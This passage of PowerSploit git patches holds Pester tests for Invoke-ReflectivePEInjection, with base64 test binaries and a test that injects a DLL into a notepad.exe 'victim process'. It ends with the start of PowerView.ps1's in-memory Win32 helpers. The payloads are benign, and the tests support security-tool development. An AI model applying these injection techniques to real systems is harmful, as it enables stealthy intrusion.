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1CQAAHojAAByIwAAaiMAAFgjAABIIwAAOiMAACwjAADqIwAAAAAAAIgAQ3JlYXRlRmlsZUEAHAFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBACUFV3JpdGVGaWxlAEUCR2V0UHJvY0FkZHJlc3MAABUCR2V0TW9kdWxlSGFuZGxlQQAAUgBDbG9zZUhhbmRsZQBLRVJORUwzMi5kbGwAAGsBX1hjcHRGaWx0ZXIAFwJfYW1zZ19leGl0AAC2AV9fZ2V0bWFpbmFyZ3MA8gFfX3NldF9hcHBfdHlwZQAATgZleGl0AACDAl9leGl0AC8CX2NleGl0AABAAl9jb25maWd0aHJlYWRsb2NhbGUA9AFfX3NldHVzZXJtYXRoZXJyAAANA19pbml0dGVybV9lAAwDX2luaXR0ZXJtALcBX19pbml0ZW52AKICX2Ztb2RlAAA/Al9jb21tb2RlAAA1AT90ZXJtaW5hdGVAQFlBWFhaAKkBX19jcnRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAE1TVkNSMTIwLmRsbAAAlANfbG9jawAEBV91bmxvY2sALgJfY2FsbG9jX2NydACuAV9fZGxsb25leGl0ADoEX29uZXhpdAAUA19pbnZva2Vfd2F0c29uAABDAl9jb250cm9sZnBfcwAAegJfZXhjZXB0X2hhbmRsZXI0X2NvbW1vbgBQAl9jcnRfZGVidWdnZXJfaG9vawAArAFfX2NydFVuaGFuZGxlZEV4Y2VwdGlvbgCrAV9fY3J0VGVybWluYXRlUHJvY2VzcwDqAEVuY29kZVBvaW50ZXIApwNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDBAUdldEN1cnJlbnRQcm9jZXNzSWQAxQFHZXRDdXJyZW50VGhyZWFkSWQAAHkCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAygBEZWNvZGVQb2ludGVyAAADSXNEZWJ1Z2dlclByZXNlbnQABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA/v////////9O5kC7sRm/RAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAABEAQAACjATMB0wIjAnMDAwNzBXMGQwmzCoMLMw7zD/MB4xKjEwMUIxTDFVMV8xZTFuMXQxeTF+MYMxizGQMaIxqjGwMbwxxzHQMdox4THnMewx8TH2MfsxATIJMh0yNzJXMmkycTJ2MnsynTKjMqoyrzK8Mssy0zLbMu8y9TL6MgIzCDMOMxszITMrM0ozUDNaM2AzaTNuM8sz2jPgM0Y0SzRdNHs0jzSVNEA1WzVnNXY1fzWMNbs1wzXPNeA16zXwNfU1DDYbNiE2NDZJNlQ2ajaENo42yjbPNuo27zYwNzY3QTdeN6k3rje+N8Q3yjfQN9Y33DfiN+g3+DcBOAg4GzhTOFk4XzhlOGs4cTh4OH84hjiNOJQ4mziiOKo4sji6OMY4zzjUONo45DjuOP44DjkeOSc5Njk8OUI5SDkAAAAgAAAgAAAAsDC8MMAwxDDQMNQwVDGEMYgxpDGoMcgxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + + $WideStrDllBytes32 = [Convert]::FromBase64String($Encoded32BitWStringDll) + $StrDllBytes32 = [Convert]::FromBase64String($Encoded32BitStringDll) + $VoidDllBytes32 = [Convert]::FromBase64String($Encoded32BitVoidDll) + $WideStrDllBytes64 = [Convert]::FromBase64String($Encoded64BitWStringDll) + $StrDllBytes64 = [Convert]::FromBase64String($Encoded64BitStringDll) + $VoidDllBytes64 = [Convert]::FromBase64String($Encoded64BitVoidDll) + $ExeBytes32 = [Convert]::FromBase64String($Encoded32BitExe) + $ExeBytes64 = [Convert]::FromBase64String($Encoded64BitExe) + + if ([IntPtr]::Size -eq 4) { + $PowerShell32bit = $True + $WideStrDllBytes = $WideStrDllBytes32 + $StrDllBytes = $StrDllBytes32 + $VoidDllBytes = $VoidDllBytes32 + $ExeBytes = $ExeBytes32 + } else { + $PowerShell32bit = $False + $WideStrDllBytes = $WideStrDllBytes64 + $StrDllBytes = $StrDllBytes64 + $VoidDllBytes = $VoidDllBytes64 + $ExeBytes = $ExeBytes64 + } + + Context 'DLL loading' { + It 'should load a DLL (wchar_t*) in memory within powershell.exe and returns "Hello, world!"' { + $Result = Invoke-ReflectivePEInjection -PEBytes $WideStrDllBytes -FuncReturnType WString -DoNotZeroMZ + + $Result | Should Not BeNullOrEmpty + $Result | Should Be 'Hello, world!' + } + + It 'should load a DLL (char*) in memory within powershell.exe and returns "Hello, world!"' { + $Result = Invoke-ReflectivePEInjection -PEBytes $StrDllBytes -FuncReturnType String -DoNotZeroMZ + + $Result | Should Not BeNullOrEmpty + $Result | Should Be 'Hello, world!' + } + + It 'should load a DLL (void) in memory within powershell.exe and writes "Hello, world!" to %TEMP%\testoutput.txt' { + $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt' + if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath } + + Invoke-ReflectivePEInjection -PEBytes $VoidDllBytes -FuncReturnType Void -DoNotZeroMZ + + Start-Sleep -Seconds 2 + $TestOutputPath | Should Exist + $Result = Get-Content $TestOutputPath + + $Result | Should Not BeNullOrEmpty + $Result | Should Be 'Hello, world!' + } + + It 'should load a DLL (void) in memory within notepad.exe and write "Hello, world!" to %TEMP%\testoutput.txt' { + $64BitOS = $False + if ($Env:ProgramW6432) { $64BitOS = $True } + + # When launching notepad.exe, the bitness of the process needs to match that of powershell.exe + if ($PowerShell32bit -and $64BitOS) { + # 32-bit PowerShell on a 64-bit OS needs to launch Wow64 notepad + $NotepadPath = "$($Env:SystemRoot)\SysWow64\notepad.exe" + } else { + $NotepadPath = "$($Env:SystemRoot)\System32\notepad.exe" + } + + $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath + + if ($NotepadProc.ReturnValue -ne 0) { + throw 'Could not start victim process: notepad.exe' + } + + $VictimPID = $NotepadProc.ProcessId + + $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt' + if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath } + + Invoke-ReflectivePEInjection -PEBytes $VoidDllBytes -ProcId $VictimPID -DoNotZeroMZ + + $Result = Get-Content $TestOutputPath + + Start-Sleep -Seconds 2 + + Stop-Process -Id $VictimPID + + $Result | Should Not BeNullOrEmpty + $Result | Should Be 'Hello, world!' + } + + It 'should not load a DLL in memory within powershell.exe when the bitness of powershell.exe and the DLL do not match.' { + if ($PowerShell32bit) { + $PEBytes = $WideStrDllBytes64 + } else { + $PEBytes = $WideStrDllBytes32 + } + + # Attempt to load the wide string DLL in memory with a mismatched bitness + { Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -DoNotZeroMZ } | Should Throw + } + + It 'should not load a DLL in memory within powershell.exe when the return types do not match.' { + # This DLL exports WStringFunc which means that -FunReturnType should be WString + { $Result = Invoke-ReflectivePEInjection -PEBytes $WideStrDllBytes -FuncReturnType String -DoNotZeroMZ } | Should Throw + } + } + + Context 'EXE Loading' { + $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt' + + BeforeEach { + if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath } + } + + It 'should load an EXE in memory within powershell.exe and write "Hello, world!" to %TEMP%\testoutput.txt when provided no arguments' { + Invoke-ReflectivePEInjection -PEBytes $ExeBytes -DoNotZeroMZ + } + + It 'should load an EXE in memory within powershell.exe and write "Hello, world!" to %TEMP%\testoutput.txt when provided arguments' { + Invoke-ReflectivePEInjection -PEBytes $ExeBytes -ExeArgs 'foo bar' -DoNotZeroMZ + } + + AfterEach { + Start-Sleep -Seconds 2 + $TestOutputPath | Should Exist + $Result = Get-Content $TestOutputPath + + $Result | Should Not BeNullOrEmpty + $Result.StartsWith('Hello, world!') | Should Be $True + } + } +} \ No newline at end of file From 62bb142a68546e7696fe8032b0ddc4b9f6aae1c3 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Mon, 9 Nov 2015 10:57:19 -0800 Subject: [PATCH 042/296] Excluding the Tests folder from being loaded as a module --- PowerSploit.psm1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerSploit.psm1 b/PowerSploit.psm1 index 550b8be9..9bc02403 100644 --- a/PowerSploit.psm1 +++ b/PowerSploit.psm1 @@ -1 +1 @@ -Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer } | % { Import-Module $_.FullName -DisableNameChecking } +Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer -and ($_.Name -ne 'Tests') } | % { Import-Module $_.FullName -DisableNameChecking } From 729e9ca267a26f8b9241019856c7da9fc7b75916 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Mon, 9 Nov 2015 10:58:52 -0800 Subject: [PATCH 043/296] Removing Invoke-ShellcodeMSIL from psproj file --- PowerSploit.pssproj | 1 - 1 file changed, 1 deletion(-) diff --git a/PowerSploit.pssproj b/PowerSploit.pssproj index bd96099d..ea5854c7 100644 --- a/PowerSploit.pssproj +++ b/PowerSploit.pssproj @@ -78,7 +78,6 @@ - From 5fb690518d6fed522c57fcf0a33a4ca4d3b664af Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Thu, 3 Dec 2015 21:50:45 -0500 Subject: [PATCH 044/296] Integration of PowerView into ./Recon/ --- Recon/PowerView.ps1 | 11064 ++++++++++++++++++++++++++++++++++++++++++ Recon/README.md | 127 + Recon/Recon.psd1 | 73 +- Recon/Usage.md | 12 - 4 files changed, 11260 insertions(+), 16 deletions(-) create mode 100644 Recon/PowerView.ps1 create mode 100644 Recon/README.md delete mode 100644 Recon/Usage.md diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 new file mode 100644 index 00000000..7c195e8b --- /dev/null +++ b/Recon/PowerView.ps1 @@ -0,0 +1,11064 @@ +#requires -version 2 + +<# + + PowerSploit File: PowerView.ps1 + Author: Will Schroeder (@harmj0y) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +#> + +######################################################## +# +# PSReflect code for Windows API access +# Author: @mattifestation +# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 +# +######################################################## + +function New-InMemoryModule +{ +<# + .SYNOPSIS + + Creates an in-memory assembly and module + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + When defining custom enums, structs, and unmanaged functions, it is + necessary to associate to an assembly module. This helper function + creates an in-memory module that can be passed to the 'enum', + 'struct', and Add-Win32Type functions. + + .PARAMETER ModuleName + + Specifies the desired name for the in-memory assembly and module. If + ModuleName is not provided, it will default to a GUID. + + .EXAMPLE + + $Module = New-InMemoryModule -ModuleName Win32 +#> + + Param + ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ModuleName = [Guid]::NewGuid().ToString() + ) + + $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies() + + ForEach ($Assembly in $LoadedAssemblies) { + if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { + return $Assembly + } + } + + $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) + $Domain = [AppDomain]::CurrentDomain + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) + + return $ModuleBuilder +} + + +# A helper function used to reduce typing while defining function +# prototypes for Add-Win32Type. +function func +{ + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [String] + $DllName, + + [Parameter(Position = 1, Mandatory = $True)] + [String] + $FunctionName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $ReturnType, + + [Parameter(Position = 3)] + [Type[]] + $ParameterTypes, + + [Parameter(Position = 4)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention, + + [Parameter(Position = 5)] + [Runtime.InteropServices.CharSet] + $Charset, + + [Switch] + $SetLastError + ) + + $Properties = @{ + DllName = $DllName + FunctionName = $FunctionName + ReturnType = $ReturnType + } + + if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } + if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } + if ($Charset) { $Properties['Charset'] = $Charset } + if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + + New-Object PSObject -Property $Properties +} + + +function Add-Win32Type +{ +<# + .SYNOPSIS + + Creates a .NET type for an unmanaged Win32 function. + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: func + + .DESCRIPTION + + Add-Win32Type enables you to easily interact with unmanaged (i.e. + Win32 unmanaged) functions in PowerShell. After providing + Add-Win32Type with a function signature, a .NET type is created + using reflection (i.e. csc.exe is never called like with Add-Type). + + The 'func' helper function can be used to reduce typing when defining + multiple function definitions. + + .PARAMETER DllName + + The name of the DLL. + + .PARAMETER FunctionName + + The name of the target function. + + .PARAMETER ReturnType + + The return type of the function. + + .PARAMETER ParameterTypes + + The function parameters. + + .PARAMETER NativeCallingConvention + + Specifies the native calling convention of the function. Defaults to + stdcall. + + .PARAMETER Charset + + If you need to explicitly call an 'A' or 'W' Win32 function, you can + specify the character set. + + .PARAMETER SetLastError + + Indicates whether the callee calls the SetLastError Win32 API + function before returning from the attributed method. + + .PARAMETER Module + + The in-memory module that will host the functions. Use + New-InMemoryModule to define an in-memory module. + + .PARAMETER Namespace + + An optional namespace to prepend to the type. Add-Win32Type defaults + to a namespace consisting only of the name of the DLL. + + .EXAMPLE + + $Mod = New-InMemoryModule -ModuleName Win32 + + $FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) + ) + + $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' + $Kernel32 = $Types['kernel32'] + $Ntdll = $Types['ntdll'] + $Ntdll::RtlGetCurrentPeb() + $ntdllbase = $Kernel32::GetModuleHandle('ntdll') + $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') + + .NOTES + + Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 + + When defining multiple function prototypes, it is ideal to provide + Add-Win32Type with an array of function signatures. That way, they + are all incorporated into the same in-memory module. +#> + + [OutputType([Hashtable])] + Param( + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [String] + $DllName, + + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [String] + $FunctionName, + + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Type] + $ReturnType, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Type[]] + $ParameterTypes, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Runtime.InteropServices.CharSet] + $Charset = [Runtime.InteropServices.CharSet]::Auto, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Switch] + $SetLastError, + + [Parameter(Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [ValidateNotNull()] + [String] + $Namespace = '' + ) + + BEGIN + { + $TypeHash = @{} + } + + PROCESS + { + if ($Module -is [Reflection.Assembly]) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") + } + else + { + $TypeHash[$DllName] = $Module.GetType($DllName) + } + } + else + { + # Define one type for each DLL + if (!$TypeHash.ContainsKey($DllName)) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') + } + else + { + $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') + } + } + + $Method = $TypeHash[$DllName].DefineMethod( + $FunctionName, + 'Public,Static,PinvokeImpl', + $ReturnType, + $ParameterTypes) + + # Make each ByRef parameter an Out parameter + $i = 1 + ForEach($Parameter in $ParameterTypes) + { + if ($Parameter.IsByRef) + { + [void] $Method.DefineParameter($i, 'Out', $Null) + } + + $i++ + } + + $DllImport = [Runtime.InteropServices.DllImportAttribute] + $SetLastErrorField = $DllImport.GetField('SetLastError') + $CallingConventionField = $DllImport.GetField('CallingConvention') + $CharsetField = $DllImport.GetField('CharSet') + if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + + # Equivalent to C# version of [DllImport(DllName)] + $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) + $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, + $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), + [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), + [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) + + $Method.SetCustomAttribute($DllImportAttribute) + } + } + + END + { + if ($Module -is [Reflection.Assembly]) + { + return $TypeHash + } + + $ReturnTypes = @{} + + ForEach ($Key in $TypeHash.Keys) + { + $Type = $TypeHash[$Key].CreateType() + + $ReturnTypes[$Key] = $Type + } + + return $ReturnTypes + } +} + + +function psenum +{ +<# + .SYNOPSIS + + Creates an in-memory enumeration for use in your PowerShell session. + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + The 'psenum' function facilitates the creation of enums entirely in + memory using as close to a "C style" as PowerShell will allow. + + .PARAMETER Module + + The in-memory module that will host the enum. Use + New-InMemoryModule to define an in-memory module. + + .PARAMETER FullName + + The fully-qualified name of the enum. + + .PARAMETER Type + + The type of each enum element. + + .PARAMETER EnumElements + + A hashtable of enum elements. + + .PARAMETER Bitfield + + Specifies that the enum should be treated as a bitfield. + + .EXAMPLE + + $Mod = New-InMemoryModule -ModuleName Win32 + + $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 + } + + .NOTES + + PowerShell purists may disagree with the naming of this function but + again, this was developed in such a way so as to emulate a "C style" + definition as closely as possible. Sorry, I'm not going to name it + New-Enum. :P +#> + + [OutputType([Type])] + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $Type, + + [Parameter(Position = 3, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $EnumElements, + + [Switch] + $Bitfield + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + $EnumType = $Type -as [Type] + + $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) + + if ($Bitfield) + { + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) + } + + ForEach ($Key in $EnumElements.Keys) + { + # Apply the specified enum type to each element + $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + } + + $EnumBuilder.CreateType() +} + + +# A helper function used to reduce typing while defining struct +# fields. +function field +{ + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [UInt16] + $Position, + + [Parameter(Position = 1, Mandatory = $True)] + [Type] + $Type, + + [Parameter(Position = 2)] + [UInt16] + $Offset, + + [Object[]] + $MarshalAs + ) + + @{ + Position = $Position + Type = $Type -as [Type] + Offset = $Offset + MarshalAs = $MarshalAs + } +} + + +function struct +{ +<# + .SYNOPSIS + + Creates an in-memory struct for use in your PowerShell session. + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: field + + .DESCRIPTION + + The 'struct' function facilitates the creation of structs entirely in + memory using as close to a "C style" as PowerShell will allow. Struct + fields are specified using a hashtable where each field of the struct + is comprosed of the order in which it should be defined, its .NET + type, and optionally, its offset and special marshaling attributes. + + One of the features of 'struct' is that after your struct is defined, + it will come with a built-in GetSize method as well as an explicit + converter so that you can easily cast an IntPtr to the struct without + relying upon calling SizeOf and/or PtrToStructure in the Marshal + class. + + .PARAMETER Module + + The in-memory module that will host the struct. Use + New-InMemoryModule to define an in-memory module. + + .PARAMETER FullName + + The fully-qualified name of the struct. + + .PARAMETER StructFields + + A hashtable of fields. Use the 'field' helper function to ease + defining each field. + + .PARAMETER PackingSize + + Specifies the memory alignment of fields. + + .PARAMETER ExplicitLayout + + Indicates that an explicit offset for each field will be specified. + + .EXAMPLE + + $Mod = New-InMemoryModule -ModuleName Win32 + + $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C + } + + $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 + } + + # Example of using an explicit layout in order to create a union. + $TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 + } -ExplicitLayout + + .NOTES + + PowerShell purists may disagree with the naming of this function but + again, this was developed in such a way so as to emulate a "C style" + definition as closely as possible. Sorry, I'm not going to name it + New-Struct. :P +#> + + [OutputType([Type])] + Param + ( + [Parameter(Position = 1, Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 2, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 3, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + 